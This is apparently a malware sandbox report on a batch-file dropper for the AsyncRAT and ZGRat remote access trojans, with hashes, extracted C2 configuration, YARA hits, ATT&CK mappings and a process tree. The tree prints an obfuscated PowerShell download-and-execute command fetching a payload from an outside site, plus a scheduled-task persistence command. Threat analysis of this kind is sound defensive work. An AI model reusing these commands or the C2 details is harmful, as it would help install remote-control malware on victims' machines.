asyncrat | cfe0182ce331ec1a1c7f506b74300d2d6cc1a50dcde5a317b0f11ae5b8d4b2a9

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
01/05/2024, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.bat
Size 13KB
Sample240501-cd5ayadd8y
SHA256 77bfe9eb66b6c9196e5a54967956cbb4b5ce6d2dbc30a7517a8478c738e281c6
MD5 8f693928f972edc589a62b6644823b5d
SHA1 e4433322485430bc3559d441e0052fe2aa1bfff8
SHA512 2b80c2d39f0fbb7de782660e7234a3bc9b15977e8c3069c0fa82c7eb6aea4617c47a3176a7bdb25f4f32d10c9f578c4d0de48e1469602c591a0f533fb87e48d8
SSDEEP 48:ekkkkkkkkkkWkkkkkkkkkkWkkkkkkkkkkWkkkkkkkkkkWkkkkkkkkkkWkkkkkkk9:xQma7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat zgrat [[[[[[[___bat___]]]]]]]rat

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

[[[[[[[___bat___]]]]]]]

helpher.linkpc.net:6666

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral2/memory/1568-51-0x000001BFC0650000-0x000001BFC066A000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Detects executables packed with ConfuserEx Mod 1 IoCs

resource	yara_rule
behavioral2/memory/1568-51-0x000001BFC0650000-0x000001BFC066A000-memory.dmp	INDICATOR_EXE_Packed_ConfuserEx

Detects file containing reversed ASEP Autorun registry keys 1 IoCs

resource	yara_rule
behavioral2/memory/2704-52-0x0000000000400000-0x0000000000414000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2308	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1568 set thread context of 2704	1568	powershell.exe	127

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2660	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2408	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2308	powershell.exe
2308	powershell.exe
964	powershell.exe
964	powershell.exe
1568	powershell.exe
1568	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	2408	taskkill.exe
Token: SeDebugPrivilege	1568	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 4980	4784	cmd.exe	86
PID 4784 wrote to memory of 4980	4784	cmd.exe	86
PID 4980 wrote to memory of 2308	4980	cmd.exe	87
PID 4980 wrote to memory of 2308	4980	cmd.exe	87
PID 2308 wrote to memory of 4884	2308	powershell.exe	99
PID 2308 wrote to memory of 4884	2308	powershell.exe	99
PID 4884 wrote to memory of 964	4884	WScript.exe	101
PID 4884 wrote to memory of 964	4884	WScript.exe	101
PID 964 wrote to memory of 1444	964	powershell.exe	103
PID 964 wrote to memory of 1444	964	powershell.exe	103
PID 1444 wrote to memory of 2660	1444	cmd.exe	104
PID 1444 wrote to memory of 2660	1444	cmd.exe	104
PID 5004 wrote to memory of 4696	5004	WScript.exe	122
PID 5004 wrote to memory of 4696	5004	WScript.exe	122
PID 4696 wrote to memory of 2408	4696	cmd.exe	124
PID 4696 wrote to memory of 2408	4696	cmd.exe	124
PID 4696 wrote to memory of 1568	4696	cmd.exe	126
PID 4696 wrote to memory of 1568	4696	cmd.exe	126
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127
PID 1568 wrote to memory of 2704	1568	powershell.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\system32\cmd.exe
  CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)
    3⤵
    - Blocklisted process makes network request
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2308
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\Express\xx.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\Express\xx.bat
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:964
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Express\xx.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1444
        
        C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /tn Express /sc minute /mo 3 /tr "C:\ProgramData\Express\Cotrl.vbs"
        7⤵
        Creates scheduled task(s)
        
        PID:2660

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\Express\Cotrl.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Express\Cotrl.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Express\Cotrl.ps1
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Cotrl.bat

Path C:\ProgramData\Express\Cotrl.bat
Size 124B
SHA256 7fde551b333bcbccf885caae202e63d2776f9bb8f7cb3c51f26967b75def4190
MD5 e0b62836b48a842f732c51857d37dbd8
SHA1 87322a1d67806cb9c404b1f520a48b38bbdea176
SHA512 c326df377c6de818208c2e86e41fd07209dc772f211e79b9c27a21b449c9ad53d84f35d365ccf881062bd3130da1d8756fe1fc1fff3ca621bbbb0161d44953ce
MD5 SHA1 SHA512

Submit Download

Cotrl.ps1

Path C:\ProgramData\Express\Cotrl.ps1
Size 265KB
SHA256 df1c75ce8e7f68d84e0dd5a73201686599f18dde7bbc48d32d294f0227b511ee
MD5 41b5fce41727ade345204a4ef80959af
SHA1 787f1f3cba441460a3647081dec14261e56c03c0
SHA512 bbd65f0f19fc21f0deadcf81da944f182c57dbee5eec666d11f56b47799286a6abe3dfb3a2eda4accd9b980869f4bab16bf2fae2ba95ae8d71c478db5dc123f8
SSDEEP 6144:qGNQeKCEIqQWVUBFJHFet4UHjbpjDB7oHv+JUB93CsL9QIH/zO:qGNQeKCEIqQWVUBFJHFelD1DB7oHv+Jp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cotrl.vbs

Path C:\ProgramData\Express\Cotrl.vbs
Size 631B
SHA256 8f3be534f02376c50d96f22f38eb10b449ad8b885159dbe8fb49e6cfd0aba523
MD5 448516ed6b6ef06865afbc775cd80bed
SHA1 9877acf48abeaaffae933147ff1913d49a5c631b
SHA512 491bd629ae9422c2a239efd88875e7ed28d0fd03889ca7d1619b69db4f6b10eea5b48b4c10ef1af89f8d96a4b1f116e2c4d78e22d138128c352428d99b314cdd
MD5 SHA1 SHA512

Submit Download

xx.bat

Path C:\ProgramData\Express\xx.bat
Size 95B
SHA256 5ad35cc29456c109608243d046951e541ee44aef379eea3a5304e6a17a1b806f
MD5 43ff49fbde6f4391891cf2a46b406da4
SHA1 695b9eb511af67cab16d5cf108258947f864e2da
SHA512 ac9e4fb602412aedc65dd5ac312b7c61d4ed183d4e2150d98c4b5c485caafc3a42f3c26fdfc68c4a305e1a9ed40e9b63898f02932a3247019d2c66d822939364
MD5 SHA1 SHA512

Submit Download

xx.vbs

Path C:\ProgramData\Express\xx.vbs
Size 775B
SHA256 e262ddea8db55b52c2aee29444ef27b28f6a0f0da3e4c79ae823e8ad67ef1749
MD5 c840c0438f2fae0ddda74a43411a9b01
SHA1 786f5955d835d1d4c137ffed6a15fdfa6b5d5db0
SHA512 142da2962e2a7897e1f96aa98d178fcc7f8729c76c090bf04b3a3a358cc75ac10933278fa78295eb649634471a31b16c399ebc417a3205dbc31583a2a3c9d78d
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ce7532548c92e3d3da457e2e8fa83ad4077a52af322c2b8635ca19cbbdc38269
MD5 f8d061cb5bbb2559aaf515aec28227a0
SHA1 24251cc79b5c4f61c8154be0a18c5127713c796f
SHA512 a02b2b0f43fef99513543d3be68c2fcad0dd6e66aa6c63e58f9874a51c27f58cdac79c4d9059a92d6a3e5b5235c9ad294abd2716109335f917e7df092980bf8f
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 974a01642047984dcc7429b685decc35b22bfb88926f25174f77721f4afaf676
MD5 b68ab4ca7e39baffff644d4820c98f0c
SHA1 25aee3c71f29c4520c9a89a13ce47864b75ced4e
SHA512 5c96c46ba870ced22f9956ecec737fe2a6d4d73a52a1db323b29a82324f3fbd298ecb0a79ce55828bcb9e813b64815bae137d480f26e9d69f6cf7830dfd4ab9d
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_geepmmej.sgo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_geepmmej.sgo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1568-51-0x000001BFC0650000-0x000001BFC066A000-memory.dmp

Download

memory/2308-23-0x00007FFFAA950000-0x00007FFFAB411000-memory.dmp

Download

memory/2308-10-0x00007FFFAA950000-0x00007FFFAB411000-memory.dmp

Download

memory/2308-11-0x00000231E8310000-0x00000231E8320000-memory.dmp

Download

memory/2308-12-0x00000231E8310000-0x00000231E8320000-memory.dmp

Download

memory/2308-0-0x00000231E8ED0000-0x00000231E8EF2000-memory.dmp

Download

memory/2704-52-0x0000000000400000-0x0000000000414000-memory.dmp

Download